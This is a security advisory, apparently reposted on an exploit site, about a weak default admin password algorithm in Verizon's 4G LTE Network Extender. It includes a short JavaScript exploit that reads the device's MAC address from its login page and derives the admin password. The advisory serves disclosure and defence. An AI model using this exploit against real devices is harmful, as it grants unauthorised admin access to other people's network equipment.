Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

2022.04.13
Credit: LiquidWorm
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Verizon 4G LTE Network Extender Weak Credentials Algorithm Vendor: Verizon Communications Inc. Product web page: https://www.verizon.com Affected version: GA4.38 - V0.4.038.2131 Summary: An LTE Network Extender enhances your indoor and 4G LTE data and voice coverage to provide better service for your 4G LTE mobile devices. It's an extension of our 4G LTE network that's placed directly in your home or office. The LTE Network Extender works with all Verizon-sold 4G LTE mobile devices for 4G LTE data service and HD Voice-capable 4G LTE devices for voice service. This easy-to-install device operates like a miniature cell tower that plugs into your existing high-speed broadband connection to communicate with the Verizon wireless network. Desc: Verizon's 4G LTE Network Extender is utilising a weak default admin password generation algorithm. The password is generated using the last 4 values from device's MAC address which is disclosed on the main webUI login page to an unauthenticated attacker. The values are then concatenated with the string 'LTEFemto' resulting in something like 'LTEFemtoD080' as the default Admin password. Tested on: lighttpd-web Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2022-5701 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php 17.02.2022 -- snippet:///Exploit // // Verizon 4G LTE Network Extender Super Awesome JS Exploit // console.log("Calling 'isDefaultPassword' API"); let req = new Request("/webapi/isDefaultPassword"); let def = req.url; const doAjax = async () => { const resp = await fetch(def); if (resp.ok) { const jsonyo = await resp.json(); return Promise.resolve(jsonyo); } else { return Promise.reject("Smth not rite captain!"); } } doAjax().then(console.log).catch(console.log); await new Promise(t => setTimeout(t, 1337)); console.log("Verizon Admin Password: "); let mac = document.querySelector("#mac_address").innerHTML; console.log("LTEFemto" + mac.substr(-4));


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top